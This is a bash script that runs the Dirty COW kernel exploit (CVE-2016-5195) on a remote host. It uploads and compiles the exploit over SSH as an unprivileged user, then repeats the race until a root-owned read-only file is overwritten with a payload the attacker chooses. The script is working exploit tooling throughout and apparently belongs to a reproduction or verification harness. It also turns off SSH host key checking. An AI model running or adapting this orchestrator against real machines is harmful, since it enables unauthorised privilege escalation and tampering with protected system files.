#!/usr/bin/env bash
#
# Dirty COW (CVE-2016-5195) single-entrypoint orchestrator.
#
# Stages dirtyc0w.c on the LIVE host, compiles it as the unprivileged actor
# (lowpriv), and runs the COW race against a root-owned read-only target to
# overwrite its first bytes with a fixed attacker payload -- with NO write
# permission on the target. The race is probabilistic, so it runs in rounds
# until the in-file bytes flip (checked as lowpriv via a plain read) or the
# attempt budget is exhausted. The verifier independently confirms the
# persistent change via a privileged (root) re-read.
#
# Everything that varies per environment is an argument; nothing is hardcoded.
#
# Usage:
#   run.sh <key.pem> <host> <target> <payload> [per_attempt_secs] [rounds]
set -uo pipefail

KEY=${1:?key.pem path}
HOST=${2:?host ip}
TARGET=${3:?target file path on host}
PAYLOAD=${4:?attacker payload string}
PER=${5:-110}       # seconds per race attempt
ROUNDS=${6:-8}      # number of attempts before giving up

HERE="$(cd "$(dirname "$0")" && pwd)"
SSH="ssh -i $KEY -o StrictHostKeyChecking=no -o ConnectTimeout=20 -o ServerAliveInterval=20"
ASLOW="sudo -n -u lowpriv bash -lc"

echo "[orchestrator] target=$TARGET payload='$PAYLOAD' per=${PER}s rounds=$ROUNDS"

# Stage + compile the PoC under lowpriv's HOME, as lowpriv.
$SSH ubuntu@"$HOST" "$ASLOW 'cat > /home/lowpriv/dirtyc0w.c'" < "$HERE/dirtyc0w.c"
$SSH ubuntu@"$HOST" "$ASLOW 'gcc -O2 -pthread /home/lowpriv/dirtyc0w.c -o /home/lowpriv/dirtyc0w && echo BUILD_OK'" \
  || { echo "[orchestrator] build failed" >&2; exit 2; }

for r in $(seq 1 "$ROUNDS"); do
  echo "[orchestrator] === round $r/$ROUNDS ==="
  # dirtyc0w self-polls the file and exits 0 the instant the COW write lands.
  $SSH ubuntu@"$HOST" "$ASLOW '/home/lowpriv/dirtyc0w \"$TARGET\" \"$PAYLOAD\" $PER'" && {
      echo "[orchestrator] COW race SUCCEEDED on round $r"
      $SSH ubuntu@"$HOST" "$ASLOW 'echo -n unpriv-read: ; head -c ${#PAYLOAD} \"$TARGET\"; echo'"
      exit 0
  }
  echo "[orchestrator] round $r did not converge; retrying"
done

echo "[orchestrator] race did not converge within budget (probabilistic); rerun to retry" >&2
exit 1
